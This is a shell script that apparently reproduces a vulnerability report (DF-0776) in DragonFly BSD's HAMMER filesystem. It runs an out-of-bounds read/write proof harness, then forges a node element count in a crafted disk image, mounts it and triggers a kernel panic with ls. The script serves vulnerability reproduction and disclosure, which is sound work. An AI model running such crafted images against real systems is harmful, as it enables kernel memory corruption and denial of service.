#!/bin/sh
# DF-0776 run script -- full reproduction pipeline.
#
# Two parts:
#   (1) ./harness                 deterministic OOB read+write proof (production/
#                                 INVARIANTS-OFF primitive characterization)
#   (2) craft + mount + ls        GENERIC (INVARIANTS-ON) KKASSERT panic at
#                                 hammer_btree.c:1278 on the first btree_search
#
# The mount step is the acceptable "admin mounted a crafted filesystem image"
# precondition (root-only). The readdir/stat trigger is unprivileged.
#
# MUST be run as root inside the DragonFly guest with the PoC built.
# Usage: ./run.sh [forged_count]   (default 200)
set -e
cd "$(dirname "$0")"
FORGED=${1:-200}
IMG=/root/df0776.img

echo "================================================================"
echo " PART 1: production-primitive proof (deterministic OOB)         "
echo "================================================================"
./harness

echo
echo "================================================================"
echo " PART 2: GENERIC #0 panic via crafted HAMMER image + ls         "
echo " (run this ONLY on the UNPATCHED kernel -- it panics GENERIC)   "
echo "================================================================"
echo "[*] creating 1GB HAMMER v1 image ($IMG)"
dd if=/dev/zero of="$IMG" bs=1m count=1024 2>&1 | tail -1
vnconfig -c vn0 "$IMG"
newfs_hammer -f -L TEST /dev/vn0 2>&1 | tail -3
mkdir -p /mnt
mount -t hammer -o nohistory /dev/vn0 /mnt
echo alpha_entry > /mnt/AAAA.txt
echo second_file > /mnt/BBBB.txt
sync
umount /mnt
vnconfig -u vn0

echo "[*] forging leaf node count=$FORGED (recompute node crc)"
./craft_img "$IMG" "$FORGED"

echo "[*] mounting crafted image (root precondition)"
vnconfig -c vn0 "$IMG"
mount -t hammer -o nohistory /dev/vn0 /mnt
chmod 755 /mnt
echo "[*] ls /mnt  -> on GENERIC #0 this PANICS at hammer_btree.c:1278"
echo "    (KKASSERT node->count <= HAMMER_BTREE_LEAF_ELMS; guest wedges in DDB)"
echo "    check dfbsd-qemu/boot.log for the panic signature"
ls -la /mnt 2>&1
echo "ls returned $?"  # FIXED kernel: EIO swallowed, returns; #0: never returns